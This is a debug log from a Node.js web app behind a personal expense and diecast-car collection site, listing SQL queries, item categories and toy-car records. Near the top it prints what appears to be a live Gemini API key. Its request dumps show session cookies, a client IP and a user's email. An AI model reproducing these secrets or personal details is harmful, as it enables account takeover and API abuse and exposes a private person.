    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    brand: '',
    search: '',
    series: '174',
    manufacturer: '',
    condition: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'brand=&search=&series=174&manufacturer=&condition=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T10:57:33.256Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T10:57:33.257Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T10:57:33.258Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:57:33.259Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:57:33.260Z server-connect:app Executing action step identify
2026-02-04T10:57:33.260Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:33.260Z server-connect:output identity: 1
2026-02-04T10:57:33.260Z server-connect:app Executing action step restrict
2026-02-04T10:57:33.260Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:33.261Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:57:33.262Z server-connect:output restrict: undefined
2026-02-04T10:57:33.262Z server-connect:app Executing action step select
2026-02-04T10:57:33.262Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T10:57:33.262Z server-connect:app Executing action step identify
2026-02-04T10:57:33.262Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:33.263Z server-connect:output identity: 1
2026-02-04T10:57:33.263Z server-connect:app Executing action step restrict
2026-02-04T10:57:33.263Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:33.264Z server-connect:app Executing action step identify
2026-02-04T10:57:33.264Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:33.264Z server-connect:output identity: 1
2026-02-04T10:57:33.264Z server-connect:app Executing action step restrict
2026-02-04T10:57:33.264Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:33.265Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:57:33.265Z server-connect:app Executing action step identify
2026-02-04T10:57:33.265Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:33.265Z server-connect:output identity: 1
2026-02-04T10:57:33.265Z server-connect:app Executing action step restrict
2026-02-04T10:57:33.265Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:33.266Z server-connect:app Executing action step identify
2026-02-04T10:57:33.266Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:33.266Z server-connect:output identity: 1
2026-02-04T10:57:33.266Z server-connect:app Executing action step restrict
2026-02-04T10:57:33.267Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:33.269Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T10:57:33.270Z server-connect:app Executing action step identify
2026-02-04T10:57:33.270Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:33.271Z server-connect:output identity: 1
2026-02-04T10:57:33.271Z server-connect:app Executing action step restrict
2026-02-04T10:57:33.271Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:33.271Z server-connect:output restrict: undefined
2026-02-04T10:57:33.271Z server-connect:app Executing action step single
2026-02-04T10:57:33.271Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T10:57:33.275Z server-connect:output restrict: undefined
2026-02-04T10:57:33.275Z server-connect:app Executing action step select
2026-02-04T10:57:33.275Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:57:33.277Z server-connect:output restrict: undefined
2026-02-04T10:57:33.278Z server-connect:app Executing action step select
2026-02-04T10:57:33.278Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:57:33.280Z server-connect:output restrict: undefined
2026-02-04T10:57:33.280Z server-connect:app Executing action step select
2026-02-04T10:57:33.280Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:57:33.280Z server-connect:output restrict: undefined
2026-02-04T10:57:33.280Z server-connect:app Executing action step paged
2026-02-04T10:57:33.280Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:57:33.282Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T10:57:33.282Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T10:57:33.283Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T10:57:33.283Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T10:57:33.286Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T10:57:33.286Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:57:33.288Z server-connect:app Executing action step identify
2026-02-04T10:57:33.288Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:33.288Z server-connect:output identity: 1
2026-02-04T10:57:33.288Z server-connect:app Executing action step restrict
2026-02-04T10:57:33.288Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:33.288Z server-connect:output restrict: undefined
2026-02-04T10:57:33.288Z server-connect:app Executing action step select
2026-02-04T10:57:33.288Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:57:33.289Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
